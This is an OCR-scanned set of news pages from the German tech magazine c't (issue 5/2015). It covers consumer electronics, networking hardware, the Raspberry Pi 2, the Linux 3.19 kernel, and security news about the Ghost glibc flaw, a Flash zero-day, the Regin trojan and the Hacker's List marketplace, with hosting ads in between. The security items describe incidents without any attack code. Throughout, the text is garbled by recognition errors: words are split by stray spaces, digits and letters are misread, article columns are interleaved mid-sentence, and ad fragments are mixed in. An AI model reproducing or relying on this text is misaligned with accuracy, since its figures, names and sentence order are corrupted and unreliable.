kunde vorgesehen, nicht jedoch das "H igh 

@ Audio/Video-Notizen 

Sony setzt bei Mus ik künftig auf e ine Ko­
operation mit dem Streaming-Dienst 
Spotify und g ibt dafü r sein bis lang in  
E igenregie betriebenes Angebot "Music 
Un l im ited" zum 29. März auf. Der ab  Früh­
jahr verfügba re neue Service "P iaystation 
Music" so l l  a uf Sonys Spielekonsolen sowie 
auf Smartphones und Tablets des Herstel­
lers laufen. 

Gibson bindet d ie von Ph i l ips übernom­
mene Aud io-Spa rte Woox stä rker in  seine 
Unternehmensstrateg ie e in .  Woox ent-
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Frame Rate"-Format mit einer B i ldwiederhel­
frequenz von 48 Hertz. Auch 3D ble ibt außen 
vor - was nach Angabe eines Panason ic-Ent­
wicklers mit einem Mangel an  passenden Vi­
deochips fü r die P layer zu erklären ist. 

Statt auf 3D oder HFR  setzt die B l u-ray 
Disc Associat ion bei den 4K-Bi u-rays auf 
einen g rößeren Farbraum gemäß ITU-R­
Empfeh lung BT.2020, e ine von 8 auf 1 0  Bit 
erhöhte Farbtiefe und einen erhöhten Dyna­
mikumfang dank High Dynamic Range (HDR). 
Die fü r HDR benötigten Zusatzinformationen 
werden als Erweiterung des Videodaten­
stroms übermitte lt . So lassen sich d ie ge­
wöhn l iche und d ie HDR-Fassung speichern, 
ohne den Fi lm zweimal auf der Disc ablegen 
zu müssen; gewöhn l iche Decoder ohne 
H DR-Unterstützung lassen d ie Erweiterung 
einfach l i nks l iegen. (nij@ct.de) 

wickelt kü nftig H iFi-Biuetooth-Laut­
sprecher und -Kopfhörer unter der 
Gibson-Marke Onkyo; Produkte unter den 
Marken Ph i l ips und F ide l io so l l  es aber 
weiterhin geben. 

Die Themen kanäle des Onl ine-Video­
dienstes Watchmi s ind ab sofort a uf inter­
netfähigen Fernsehern, B lu-ray-Piayern 
und Heimkinosystemen von Sony verfüg­
bar. Die Smart-TV-App steht kostenfrei fü r 
a l l e  d iese Produkte ab Mode l ljah r  201 2 
zum Download (an den Geräten) bereit. 

ter der Synthesizer XPAND!2 sowie die P lug­
i n-Suiten EQ 1 1 1  und Dynamics 1 1 1 .  Der Einsatz 
externer P l ug- ins ist auf die per l n-App-Kauf 
zu erwerbenden AAX-Exemplare beschränkt. 

(Ka i  Schwi rzke/hag@ct.de) 

Mit der 
kosten losen 
Einsteigerversion 
Pro Tools I F i rst 
lässt sich auf 
bis zu 16 Spuren 
gleichzeitig 
a rbeiten .  

Kostenloser UPnP-Piayer 

Das fü r sei ne Videobea rbeitungssoftwa re 
"DVR Studio" bekannte Unternehmen Haen­
le in bietet unter dem Namen "HS-UPnP-Piay­
er" ab sofort einen UPnP-Piayer zum kosten­
losen Download an  (siehe L ink) .  Das Win­
dows-Programm lässt s ich a ls Mu lt imedia­
P iayer fü r Aufnahmen und Live-TV-Streams 
von UPnP- und DLNA-Netzwerkservern nut­
zen. ln der Softwa re ist e ine Favoriten- sowie 
e ine F i l terfunkt ion i nteg r iert, zudem sucht 
s ie auf Knopfd ruck im Web nach F i lm infos. 
Wer auf Letzteres verzichtet, kann  das Pro­
g ramm auch komplett ohne I nternet-Zu­
gang nutzen. (nij@ct.de) 

c't Download: ct.de/yk47 

HTMLS wird Standard 
bei YouTube 

YouTube ste l l t  Videos künftig bei Ch rome, 
I nternet Explorer 1 1 , Safa ri 8 und aktue l len 
Beta-Vers ionen von F i refox standardmäßig 
über HTML5 dar .  Das gaben Entwickler der 
P lattform i n  e inem Blagei ntrag bekannt. 
Goog le experimentiert bereits seit 201 0 mit 
der Videowiedergabe via HTML5 und hat ei­
genen Angaben zufo lge mitt lerwei le  vie le 
Probleme gelöst. So ist nun auch das Strea­
ming mit adaptiver Bitrate mögl ich .  

Zudem setzt YouTube bei HTML5 ver­
stä rkt auf den l izenzgebüh renfreien VP9-
Videocodec, der die Daten rate eines Videos 
im Schn itt um rund 35 Prozent reduzieren 
so l l .  Nach der U mstel l ung  sol len s ich auch 
Videos mit 4K-Auflösung problemlos anzei­
gen lassen, zudem ermögl iche die WebRTC­
Unterstützung Live-Übertragungen ohne zu­
sätzl iche P lug-ins. (vza@ct.de) 

c't 201 5, Heft 5 
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I h re Cloud oh ne G renzen 
Mit  u nsere n O penStack- basierten Clo u ds profit ieren 
Sie jetzt von beda rfsor ient ierte n und herste l l e r­
u n a b hä ngigen IT- Resso u rcen - so b le iben S ie  agi l  
u nd kosteneffiz ient 

I h re Vortei le a uf einen Bl ick 

0 Sie nutzen hochska l ierbare Private- ,  Publ ic­
u n d  Hybrid - l nfrastructu re as a Serv ice- Ciouds 

fA1{ W i r  beraten S ie persön l ich ,  p l a ne n  u nd 
i1f1lr ü bernehmen auch  den Betr ieb I h rer C loud 

r:::::J Höchster Datensch utz d u rch TÜV­
V zertif iz ierte Datacenter i n  Deutsch land 
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O P E N STAC K 

Erfa h ren Sie j etzt mehr und  s ichern S i e  s ich I h ren exklus iven Pre i svorte i l :  

I 

� hoste u ro p e . d e/ope nsta ck � sa l es@hoste u rope . d e  () 02203 - 1 045 -2223 



) Hardware RAIDl 
) 2x  2000GB HDD 24x7 

) Hardware RAIDl 
) 2x 2000GB HDD 24x7 

aktuel l  I Netze 

Robuste Gigabit-Switches 

Der 6-Port-Gigabit-Switch TI-PG541 von 
Trendnet so l l  auf DI N-Hutschienen in  Scha lt­
schränken montiert lndustrie-PCs oder Steu­
ere lemente vernetzen .  An vier von fünf 
Buchsen steht Energie bereit (PoE+, I EEE 
802.3at). Der  Switch bekommt se inen Strom 
über  zwei redundant ausge legte 48-Vo lt­
Gie ichspannungseingänge. A ls  Verbindung 
zum Kernnetz kann  ein SFP-Siot fü r Gigabit­
G lasfasermodu le  d ienen .  Der TI-PG541 so l l  
300 Euro kosten. 

Seinen NM1 0 bietet der Nü rnberger Her­
ste l ler  MEN Mikro E lektron ik in vier Va rianten 
mit Fast- ( 1  00 MBit/s) oder Gigabit-Ethernet 
(1 000 MBit/s) und optionaler Energieeinspei­
sung an. Jeder der auf M 1 2-Buchsen heraus­
geführten Ports l iefert bis zu 30 Watt (PoE+, 
IEEE 802.3at), der Switch insgesamt aber ma­
xima l  60 W. Der l üfter lose und damit  wa r­
tungsfreie Switch im staubd ichten A lumin i ­
umgehäuse ( I P40) verträgt -40 oc bis +85 oc 
Betriebstemperatur .  Sein Weitbereichsnetz­
tei l  so l l  1 4,4 bis 1 54 Vo lt G le ichspannung 
vertragen, womit der NM 1 0 laut  Herste l l e r  
nach Zertifiz ierung gemäß EN 501 55 bezie-

Der TI-PG541 von 
Trendnet ( l inks) 
l iefert an vier Gigabit­
Ports bis zu 1 20 Watt 
Summenleistung. 

Der NM1 0 von 
MEN beschränkt 
sich auf 60 Watt. 

hungsweise ISO 7637-2 auch in Fahrzeugen 
eingesetzt werden kann .  

Der NM1 0 von MEN i s t  ab  470 Euro zu 
haben. Weitere Deta i l s  zu den Geräten finden 
Sie über den folgenden L ink. (ea@ct.de) 

c't. Datenblätter zu lndustrie-Switches: 
ct.de/ybh6 

Zulassungsverfahren für Frequenzauktion eröffnet 

Unternehmen, d ie  an der im Mai  oder Jun i  
201 5 stattfindenden Versteigerung von Mo­
bi lfunkfrequenzen tei lnehmen wol len, müs­
sen bis zum 6. März Zu lassungsanträge bei 
der Bundesnetzagentur ste l l en (BNetzA) . 
Deutsch land wi rd damit in Europa a l s  erstes 
Land seine Nutzungsrechte fü r F requenzen 
im 700-MHz-Bereich an  den Mobi lfunk  ver­
geben. Diese so l len nach e iner ersten Aus­
baurunde mit 300-MHz-F requenzen erneut 
Reg ionen mit schwacher I nternet-Versor­
gung zugutekommen. Fü r  weitere Frequen­
zen im 900- und 1 800-MHz-Band laufen d ie 
Nutzungsrechte aus, sodass sie neu verstei­
gert werden .  I n sgesamt kommen 270 MHz 
unter den Hammer. 

Das 700-MHz-Band machen TV-Sender 
frei, indem sie d ie terrestrische TV-Ausstrah­
l ung vom DVB-T-Verfah ren auf das effizien-

@ Netz-Notizen 

Lancom hat se inen I PSec-VPN-Ciient auf 
Version 3.0 aktua l is iert. Die Software läuft 
nun  auf Windows 8.1  und kann  auf Tab lets 
d ie Verb indung im H intergrund dauerhaft 
ha lten (Aiways on) .  

02 Telef6nica hat den Zugang zu seinem 
L TE-Netz jetzt auch fü r Bestandskunden 
geöffnet. Die L TE-Freischa ltung läuft auto­
matisch und kostenfrei . 

Der Windows-Netzwerktreiber cFos­
Speed ist in Version 1 0 ersch ienen und 
funktioniert jetzt auch mit Windows 1 0. 
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tere DVB-T2 umstel len .  Davon zweigt d ie  
BNetzA 2 x 30 MHz fü r den Mobi lfunk  ab, der 
Rest geht an  Sicherheitsorgane und Bundes­
wehr. Wei l es e in ige Zeit dauert, bis a l l e  Sen­
detürme auf DVB-T2 umgeste l l t  sind, wi rd 
die Mobi lfunkbranche das neue Spektru m 
woh l  frühestens ab 201 7 nutzen. 

Provider, d ie i n  Deutsch land bisher noch 
keine Netze unterha l ten, unter l iegen keinen 
Auflagen. Telef6n ica, Deutsche Telekom und 
Vodafone s ind dagegen verpfl i chtet, mit  
den 700-MHz-Biöcken d ie Autobahnen und 
!CE-Strecken zu versorgen sowie jewe i l s  
m indestens 97 Prozent der  Hausha lte i n  
jedem Bundes land pe r  Breitband- l nternet 
abzudecken .  Jeder der  d rei  Sektoren e iner  
Basisstation muss mindestens 50 MBit/s l ie­
fern.  Die BNetzA hofft, dass länd l iche Haus­
ha lte etwa 1 0 MBit/s erhalten. (dz@ct.de) 

Der auf der CES vorgeste l l te WLAN­
Router Almond+ mit Smart-Home­
Schnittstellen (c't 4/1 S, S. 25ff) so l l  in 
den nächsten d rei Monaten fü r 280 Euro 
auf den deutschen Markt kommen. 

Für 583 Eu ro bietet B intec-E imeg seine 
per PoE fernspeisbare WLAN-Basis 
Wl 003 n für Industrieeinsatz an .  Se in 
Funkmodu l  ist dua lband-fäh ig  und 
schafft bis zu 300 MBit/s brutto; es sol l 
auch a l s  C l ient oder Br idge a rbeiten 
können .  

c't 201 5, Heft 5 



aktuel l  I Raspberry Pi 2 

Raspberry Pi 2: Vier Kerne und Windows 1 0 
Viereinha lb Mi l l ionen Mal wurde der Bastei­
rechner Raspberry Pi bisher verkauft. Das kann 
aber  n icht ü ber  se ine Defizite h i nwegtäu­
schen:  S ing le-Core-CPU mit 700 MHz, 5 1 2 
MByte RAM und e ine gruse l ige Anb indung 
von Netzwerk und USB - das i s t  einfach nicht 
zeitgemäß. Nachahmer wie Banana Pi, Cubie­
Board und Cubox-i haben gezeigt, dass man 
mit neueren ARM-SoCs und etwas Nachden­
ken bessere Designs h in bekommt: Leider ha­
ben die Konku rrenten, d ie dem Raspi wirkl ich 
überlegen sind, auch zwei Nachtei le : Sie kos­
ten mehr und brauchen mehr Strom. 

Außerdem g ibt es sehr viel Software und 
Zubehör, d ie  dem Raspi bei se iner  Verbrei­
tung geholfen haben. Desha l b, meint Eben 
Upton, der Gründer der Raspberry Pi Foun­
dation, se i  vol l e  Kompatibi l ität zum Raspi 1 
beim Design  eines schnel leren Raspi emi­
nent wichtig gewesen. Teu rer sol l te er außer­
dem nicht werden. 

Und so s ind d ie Änderungen gegenüber 
dem Raspi 1 B+ vom letzten Sommer minimal :  
Das Broadcom-System-on-Chip heißt jetzt 
BCM2836 statt BCM283S .  Im BCM2836 ste­
cken vier ARMv7-Kerne, die mit 900 MHz lau­
fen, im BCM2835 nur  ein ARMv6-Kern mit 700 
MHz und kleinerem Cache. Dafür musste das 
auf 1 GByte gewachsene RAM aus dem SoC­
Package auf die Unterseite der Platine umzie­
hen. Die Grafikeinheit ist gebl ieben, das lästi­
ge USB-Design auch. Die Maße der Platine, die 
Lage der Ansch lüsse, die Beschaltung der Zu­
satz-Pins - a l les beim Alten. 

Dennoch braucht der Raspi 2 neue Soft­
ware, und zwar e inen Kernel , der fü r d ie 
ARMv7-Architektur kompi l iert wurde. Der De­
bian-Ableger Raspbian wurde schon am Wo­
chenende vor dem Erscheinen des Raspi 2 
angepasst, d ie  Mediencenter-Distri bution 
OpenELEC 5.0.1 mit Kod i  1 4. 1  rund 1 2  Stun-

Windows 1 0  

Im  Rahmen des Microsoft-Entwickler­
programms fü r das I nternet der Dinge 
wi rd es im Herbst Windows 1 0  fü r den 
Raspi 2 geben - fü r Entwickler kosten los. 
Ein Desktop-Windows wi rd dabei nicht 
herauskommen. Microsoft wi l l  e inen Fuß 
i n  d ie Maker-Szene bekommen, eben 
um auch im I nternet der Dinge ein paa r  
Windows-Rechner unterzubr ingen. 

Raspberry Pi 2 
Raspberry Pi 1 B+ Raspberry Pi 2 B 

SoC Broadcom BCM2835 Broadcom BCM2836 
Keme!Takt WOO MHz 4/900 MHz 

RAM 512 MByte 1 GByte 
Coremark 1 Thread 1 400 Punkte 2290 Punkte 
Coremark 8 Threads 1 400 Punkte 8918 Punkte 
Leistungsaufnahme idle 1 ,4 Watt 1 ,4 Watt 
Leistungsaufn. Coremark 1 ,7 Watt 2,4 Watt 
Preis 28 € 38 € 

c't 20 1 5, Heft 5 

den danach. Weitere werden fo lgen, denn 
der L inux-Kernel kommt mit ARMv7-SoCs 
schon lange klar. 

Bei Raspbian und OpenELEC merkt man so­
fort, dass praktisch a l les deutlich schnel ler geht. 
Mehr Strom braucht der Raspi 2 dennoch nur  
unter hoher Last. Langweilt er sich, bleibt es 
unter Raspbian ink lusive Maus und Tastatur 
bei 1 ,4 Watt. Wenn al le vier Kerne mit dem 
Coremark-Benchmark beschäftigt s ind, geneh­
migt der Raspi 2 sich 2,4 Watt, während der 
Raspi 1 B+ unter Last auf rund 1 ,7 Watt kam. 

Außer dem System-On-Chip 
namens BCM2836 unterscheidet fast 
n ichts den Raspberry Pi 2 vom Vorgänger. 

Apropos Coremark: Der Pi 1 B+ schafft da 
1 400 Punkte, der Pi 2 mit einem Thread schon 
knapp 2300. 8 Threads br ingen gut 8900 
Punkte. Damit sind die Extrema des mögl i ­
chen Leistungszuwachses vom Pi 1 zum Pi 2 
abgesteckt: Anwendungen, d ie wirkl ich nu r  
einen Kern beschäftigen, werden nicht einmal 
doppelt so schne l l .  Anwendungen, d ie vie le 
Arbeiten pa ra l le l is ieren, brauchen nur noch 
ein Sechstel der Zeit. l n  der Praxis dürfte der 
Pi 2 sich drei- bis vierma l so schnel l  anfüh len 
wie sein Vorgänger. 

Techn isch muss sich a lso keiner der Raspi­
Konku rrenten fü rchten .  Wer als Bast ler we­
sentl ich mehr braucht, als der Raspi bisher zu 
bieten hatte, ist weiterhin mit einem der vie­
len anderen ARM-Boa rds besser bedient. 
Schne l le r  angebundene Massenspeicher, 
schne l lere Grafi k, mehr e ingebaute Peri­
pherie wie B luetooth und WLAN bringt der 
Raspi 2 sch l ieß l ich nicht. Doch wer den a lten 
Raspi einfach nur zu langsam fand, der hat 
jetzt kaum noch Gründe, mehr als 3S Euro fü r 
e in ARM-Boa rd auszugeben. (it@ct.de) 

c't Raspbian, OpenELEC: ct.de/ybp1 

Broadcom BCM2836: 4 ARMv7-Kerne 
mit 900 MHz statt eines ARMv6-Kerns 
mit 700 MHz beim Raspberry Pi 1 .  
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aktuel l  I Kernei-Log 

Thorsten Leemhu is 

Kerne I-Log 
Linux 3 . 1 9:  HSA- un d 
Switch-U nterstützu n g  

Der  neue  Kernel beherrscht e ine 
AMD-Techn ik, d ie das Rechnen auf 
Grafikprozessoren einfacher und 
effizienter macht. Einige Erweite­
rungen schaffen Grund lagen zur 
besseren Unterstützung von 4k­
Monitoren.  Neu ist e ine I nfrastruktur, 
du rch die sich zu kü nftig Al lerwelts­
Distributionen als Betriebssystem 
fü r Switches eig nen sol len .  

U ngefäh r  para l le l  mit d ieser c't sol lte der  
L inux-Kernel 3 . 1 9 erscheinen. Er schafft 

Grund lagen, um d ie Ansteuerung von 4K­
Monitoren und  Mon itorausgängen i n  Do­
cking-Stationen moderner Notebooks zu ver­
bessern. Durch die Änderungen unterstützt 
der Kernel d ie  Version 1 .3 von Disp layi D, 
über  das Mon itore I nformationen zu i h rer  
Ansteuerung l iefern. Ferner  erkennt der Ker­
nel, wenn der Bi ldschirm das Gesamtbi ld per 
"Ti l i ng"  zusammensetzt - etwa wenn  l i nke 
und rechte Hä lfte wie eigenständ ige Moni­
tore angesteuert werden.  Der Kernel ste l l t  
d ie DisplayiD- und Ti l i ng-l nformationen zum 
Abruf bereit; darauf sol len X-Server und Way­
land Compositor in Zukunft zurückg reifen, 
um zusammen mit anderen Erweiterungen 
eben auch jene 4K-Monitore und Docking­
Stat ionen anzusteuern, d ie  d ie  aktue l len 
L inux-Distributionen schlecht oder  gar nicht 
unterstützen. 

CPU und G P U  

Über den  neuen Treiber Amdkfd können An­
wendungen das "Heterogeneous Queu ing" 
(HQ) be i  Haupt- und Grafikprozessoren von 
AMD nutzen.  Die Techn ik  soll es e i nfacher 
und effizienter machen, Tei l aufgaben e iner 
g rößeren Arbeitsaufgabe mit dem Prozessor 
auszufüh ren, der dazu am besten geeignet 
ist. Anwendungen setzen die Tei la ufgaben 
dabei mit H i l fe e iner  "HSA Runt ime" ab  -
einer Userspace-Bibl iothek, d ie vornehml ich 
von AMD entwickelt und im November von 
der HSA Foundation unter einer Open-Sou r­
ce-Lizenz veröffentl icht wurde. Zu den AMD­
Ch ips, die Heterogeneaus Queu ing u nter­
stützen, zäh len die Prozessoren mit Kaveri­
Kern, d ie AMD seit Anfang 20 1 4  verkauft. 

Heterogeneaus Queu ing ist eine von 
mehreren Techn iken der "Heterogeneous 
System Architectu re" (HSA), d ie d ie Effizienz 
bei der Zusammena rbeit verschiedener Pro­
zessoren eines Systems steigern so l len .  Die 
bekannteste HSA-Techn ik ist Heterogeneaus 
Un iform Memory Access (HUMA), das i n  der 
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L inux-Welt auch a l s  Heterogeneaus Memory 
Management (HMM) bekannt  ist. Du rch 
d iese Techn ik  nutzen HSA-taug l iche Ch ips 
e inen gemeinsamen virtue l len Ad ressraum, 
was e in  Verschieben von Daten zwischen 
Hau pt- und Grafi k-Speicher vermeidet und  
so den  E insatz der GPU fü r Rechenaufgaben 
erhebl ich vereinfacht. Die Kernei-Erweiterun­
gen zur  U nterstützung von HMM stecken 
a l lerd ings noch i n  der Begutachtungsphase. 

Li n ux fü r Switches 

Das Netzwerk-Subsystem von Linux 3 . 1 9 ent­
hält eine I nfrastruktur, mit der Treiber viele 
Switch ing- und Routing-Aufgaben an  spezia­
l is ierte Ha rdware-Bausteine delegieren kön­
nen.  Dadu rch so l len sich generische L inux­
Distri butionen mittelfristig a l s  Betriebssyste­
me fü r Switches eignen, wie sie in Re­
chenzentren stehen. Es s ind aber noch 
passende Treiber nötig, bevor Debian, 
RH EL, SLES und Co. i n  den Markt fü r 
Switch-Betriebssysteme vord r ingen 
können; bis lang setzt a uf d ie neue I n­
frastruktu r näml ich nu r  e in Referenz­
treiber auf, der e inen von Qemu 
emu l ierten Switch ing-Chip 
anspricht. 

Der Tre iber l pv lan wurde 
zur  E in richtu ng von Netz­
werkverbindungen zwischen 
Conta inern e ines Systems 
entwickelt .  E r  er led igt somit  
Ähn l iches wie der  Tre iber 
Macvlan, der vi rtue l le  Maschi­
nen eines Hosts effizient ver­
binden kann; l pv lan g reift bei den Routing­
Entscheidungen aber auf I nformationen aus  
e inem höheren Layer des Netzwerkstacks 
zurück. 

Btrfs RAI D  5 & 6 
Bei L inux 3 . 1 9 lassen sich auch Datenträger 
von Btrfs-Volumes austauschen, d ie d ie Da­
teisystem-eigenen RAID-5/6-Funktionen ver­
wenden.  Ferner wird Btrfs auch bei d iesen 
RAID-Leve ln  Scrubbing beherrschen, bei 
dem Btrfs d ie  Dateni ntegrität über  Check­
summen prüft; eventue l le  Feh ler repa riert es 
soga r au tomatisch, sofern d ie  in ta kten 
Redundanz- lnformationen dazu ausreichen. 
Die RAI D-5/6-U nterstützung von Btrfs g i l t  
a l l e rd ings weite rh in  a l s  u nvo l l stä nd ig  und  
experimentel l .  

Der  NVMe-Treiber, der PCie-SSDs von I ntel 
und e in igen anderen Herste l l ern anspricht, 
verwendet ab 3 . 1 9 den Mu l ti-Queue Block 10  
Queue ing Mechanism. Er i s t  deut l ich besser 
auf die Belange besonders schnel ler SSDs ab­
gestimmt a l s  d ie  b is lang genutzte B lock­
Layer- l nfrastuktur, daher verspricht d ie Por­
tierung den Datendu rchsatz zu steigern und 
d ie Zugriffszeiten zu senken.  Squashfs, das 
vie le L inux-Distribut ionen zur  Kompress ion 
des Root-Dateisystems bei Live-Medien nut­
zen, kann Daten nun  mit LZ4 komprimieren; 
das ist etwa fü r Embedded-Systeme interes­
sant, da der A lgorithmus beim Dekompri-

mieren weniger Speicher und CPU-Ressour­
cen benötigt a l s  Z l ib. 

I PC-Dienst i m  Kernel  

Das be i  Android zur I nterprozesskommunika­
tion verwendete Binder ist nun ein vol lwerti­
ger Bestandtei l  des Kernels . Der I PC-Dienst 
steckte bislang im Staging-Zweig für Code mit 
Qua l itätsmängeln .  Anders als sonst wurden 
diese jedoch vor der Hochstufung nicht besei­
tigt; e in ige bekannte Entwickler haben sich 
daher lautsta rk gegen den Schritt ausgespro­
chen und vor dem Einsatz des I PC-Dienstes in  
Anwendungsprogrammen gewarnt. 

Der fü r die Hochstufung zuständige Ent­
wickler führte an, es seien bereits Arbeiten im 
Gange, um Binder durch etwas Besseres zu er­
setzen. Damit spielt er offenbar auf Kdbus an, 

den im Systemd-Umfeld entstandene Ker­
nei- I PC-Dienst, der D-Bus beerben wi l l .  Die 

Kernei-Tei le von Kdbus gingen kü rzl ich 
in  die d ritte Begutachtungsrunde auf 

der Liste der Kernei-Entwickler; es ist 
aber noch nicht abzusehen, wann 

die Kdbus-Entwickler darum bit­
ten, ih ren Code in  den Linux­

Kernel zu integrieren. 

ARM-Em u l ation 

Der ARM64-Code von 
Linux 3 . 1 9 kann einige In­
struktionen ä l terer ARM­
Architekturen emu l ieren, 
d ie ARM mit ARMv8 auf­
gegeben hat oder i rgend­

wann aufgeben wi l l ;  das ermögl icht den Ein­
satz von Programmen, d ie  fü r ä l tere ARM­
Architekturen kompi l iert wurden und die 
nicht mehr unterstützten I nstruktionen ver­
wenden. 

Der neue L in ux-Kernel unterstützt erst­
mals AMDs Opteron A 1 1 00 aka Seattle - ein 
fü r Server gedachtes 64-Bit-SoC (System on 
Chip) mit ARMv8-Arch itektur, das es bis lang 
a l lerd ings nur auf Entwickler-Ma inboards 
g ibt. E in solches ist auch das von ARM sel bst 
stammende ARMv8-Boa rd Juno, das der Ker­
nel nun  ebenfa l l s  unterstützt. 

Der Speichermanagement-Code des Ker­
ne i s  3 . 1 9 u nterstützt e in ige  b i s l ang unge­
nutzte Funkt ionen der  Page Attr ibute Tab le 
(PAT) von x86-Prozessoren; dadu rch könn­
ten beispie lsweise Grafi ktreiber nun  Write­
th rough  Cach ing beim Zug riff auf den 
Video-Speicher nutzen, u m  d ie  Grafi k-Per­
formance zu ste igern .  Neu ist auch d ie Un­
terstützung fü r den "N ios I I "  - e ine von A l ­
tera geschaffene 32-Bit-Prozessor-Architek­
tu r, d i e  das U nternehmen bei e in igen 
FPGAs nutzt. Ferner  unterstützt der Kerne l  
auch d ie x86-Erweiterung MPX, e inen Ha rd­
ware-Schutz gegen Buffer-Over- und Un ­
derflows, den I ntel i n  d ie  nächste Generati­
on seiner Desktop- und Notebook-P rozes­
soren e inbauen wi l l .  Auch den Grafi kprozes­
sor d ieser in der zweiten Jah reshä lfte 
erwarteten "Sky lake"-Prozessoren u nter­
stützt L inux 3 . 1 9 bereits. (th l@ct.de) 
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Ghost: Schwachstel le in Linux-Servern 
entdeckt 

Betreiber von L inux-Servern 
müssen s ich nach Hea rtbleed 
und She l l shock nun mit e iner 
d ritten Sicherheits lücke mit krea­
tivem Namen herumsch lagen.  
Ghost hat s ich a l lerd i ngs a ls  
n icht ganz so br isant wie seine 
be iden Vorgänger herausge­
ste l lt . Die Sicherheits lücke in  der 
Standa rd-( -B ib l iothek G l ibc be­
trifft die Funkt ion gethostbyname() 
und kann  nu r  in Zusammenhang 
mit wenigen Programmen miss­
braucht werden. 

Betroffen s ind vor a l lem Mai l ­
server, d ie  Exim und proema i l  
e insetzten und deren G l i bc-Ver­
s ion ä lter a l s  2 . 1 8 ist. H ier  kann  
e in Ang reifer dem System e ine  
präpar ierte I P-Ad resse überge­
ben und so einen Pufferüber lauf 
auslösen. Dieser kann dann wie­
derum verwendet werden, um 
Code zur  Ausführung zu  br in­
gen .  E igent l ich ist gethostbyname() 
aber vera ltet und wurde von an­
deren Funktionen der Program-

Sicherheitsrisiko Flash 

Eine in  freier Wi ldbahn entdeck­
te Sicherheits lücke im F lash P lay­
er entpuppte s ich a l s  Worst­
Case-Szenar io .  Bei Entdeckung 
du rch Sicherheitsforscher erfreu­
te sich ein entsprechender Zero­
Day-Exploit bereits reger Benut­
zung im krimine l len Untergrund, 
wo er als Tei l  von Exploit-Kits 
vertr ieben wurde. Adobe veröf­
fentl ichte kurz darauf e in Update 
fü r F lash, das aber die Zero-Day­
Lücke gar nicht schloss, sondern 
eine andere Lücke. Während die 

Der Trend geht zur Vermark­
tung von Sicherheits lücken 
durch die Fi rmen, die sie ent­
decken.  Auch bei Ghost darf da 
ein fesches Logo nicht fehlen.  

me, d ie auf e inem typischen 
L inux-Server la ufen, n icht an­
g reifba r s ind. Desktop-Nutzer 
müssen sich sowieso keine Sor­
gen machen, da entsprechende 
Distributionen i n  der Regel Ver­
s ionen von G l ibc verwenden, d ie 
der verwundbaren Software weit 
voraus s ind.  (fab@ct.de) 

F i rma an e inem zweiten Patch 
a rbeitete, befanden s ich d ie  
Rechner vieler Nutzer i n  konkre­
ter Gefahr  du rch bösartige Web­
seiten. 

Adobe hat m itt lerwei le  auch 
das zweite Update veröffentl icht 
und d ie Gefah r  du rch Flash ist 
damit  erst e inma l  wieder ge­
bannt. Trotzdem wird wieder ein­
mal deutl ich, dass Adobes Pl ug-in 
momentan eines der größten Si­
cherheitsrisiken auf Endbenutzer­
PCs ist. (fab@ct.de) 

aktuel l  I Sicherheit 

Trojaner Regin als NSA-Waffe enttarnt 

E in vom Spiegel mit  den Ge­
heimdiensten der Five-Eyes-AI I i ­
anz i n  Verb indung gebrachter 
Keylogger hat s ich nach e iner  
Untersuchung von Schadcode­
Experten bei Kaspersky als Tei l  
der Cyberwaffe Reg in  entpuppt. 
Der Que l l code des Keyloggers 
QWERTY stammt aus  den 
Snowden-Dokumenten und ent­
hält Tei le, die mit dem Code von 
Reg in  identisch s ind .  Reg in  ist 
demnach eine Softwa re-P latt­
form fü r Cyberangriffe, die meh­
rere P l ug- ins unterstützt. QWER­
TY so l l  e ins d ieser P l ug- ins sein . 
Laut Kaspersky ist es ohne Tei le 
von Reg in  nicht benutzba r - die 
Forscher s ind sich deswegen si­
cher, dass d ie QWERTY-Entwick­
le r  auch d ie Macher von Reg in  
s ind.  

Der Spiegel wiederum doku­
mentiert, dass QWERTY von den 
S icherhe itsd iensten der  F ive 

Eyes genutzt wi rd und  vom 
austra l ischen NSA-Equ iva lent 
Austra l i an  S igna ls  Di recto rate 
(ASD) entwickelt wu rde. QWER­
TY und Reg in  sind demnach Tei l  
der  Cyberwaffen- l nfrastruktu r, 
d ie  i n  den Snowden-Dokumen­
ten unter dem i nternen Code­
namen "Wa rr iorpr ide" gefü h rt 
wird. 

Reg in  so l l  unter anderem bei 
dem Ang riff a uf den Provider 
Be lgacom zum E insatz gekom­
men se in .  Experten sehen den 
Schadcode a l s  a usgefei l teste Cy­
berwaffe seit Stuxnet an .  Ende 
Dezember so l l  Reg in  auch auf  
dem privaten Rechner e iner  Mit­
a rbeiter in des Kanzleramts ent­
deckt worden sei n .  Kaspersky 
wi l l  den Schäd l i ng  i nzwischen 
bei 27 verschiedenen Unterneh­
men, I nst itutionen und Privat­
leuten gefunden haben. 

(fab@ct.de) 

Hacker's List vermietet Cyber-Ganoven 

Der On l ine-Marktplatz Hacker's 
List funktioniert wie die auch 
hierzu lande bekannten Projekt­
börsen: Der Auftraggeber ste l l t  
e in Projekt mit einer Ku rzbe­
schreibung ein und legt fest, wie 
viel er dafü r  maximal zah len 
möchte. Anschl ießend können 
die Hacker ein öffentl iches Ange­
bot unterbreiten und sich dabei 
gegenseitig unterbieten. 

Die Aufträge auf der Seite 
haben es a l lerdings in sich: Die 
meisten Projekte findet man in 
der Kategorie "Passwortwieder­
herste l l ung". Wer einen Face­
book- oder Apple-Account kna­
cken kann, wi rd vom Auftrag-

geber mit mehreren Hundert US­
Dol lar entlohnt. Nutzer bieten für 
einen iPhone-Hack bis zu 500 US­
Dol lar. Zum Beispiel, um die Text­
nachrichten und E-Mai l s  des Part­
ners lesen zu können. Obwohl bei 
vielen Aufträgen ziemlich kla r ist, 
dass der Auftraggeber nicht der 
legit ime Besitzer des Zielaccounts 
oder -gerät es ist, scheint es in den 
meisten Fäl len einen oder meh­
rere Hacker zu geben, d ie den 
Job ausführen würden. Al lerdings 
drängt sich die F rage auf, ob man 
dem Anbieter einer Plattform, die 
offensichtl ich i l l ega le Aufträge 
vermittelt, überhaupt Geld anver­
trauen sol lte. (rei@ct.de) 

Deutsche Router, deutscher Service, deutsche Hotl i ne :  www.tdt.de 
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KDE 5 wird al ltagstaugl ich 

Mit der Veröffentl ichung von P lasma 5.2 mau­
sert sich die fünfte Generation des KDE-Desk­
tops zunehmend zu einer a l ltagstaug l ichen 
Ablösung der KDE-4-Piattform. So s ind jetzt 
KSSHAskPass zum Abfragen der Passwörter 
von SSH-Sch lüssel n und KScreen, ein Werk­
zeug zur Monitorkonfiguration, auf Qt 5 por­
tiert. B lueDevi l kümmert sich um B luetooth­
Geräte, das neue Muon l iefert eine Software­
verwa ltung im Sti l eines App Store. Das Aus­
sehen von Gtk+-Anwendungen lässt sich jetzt 
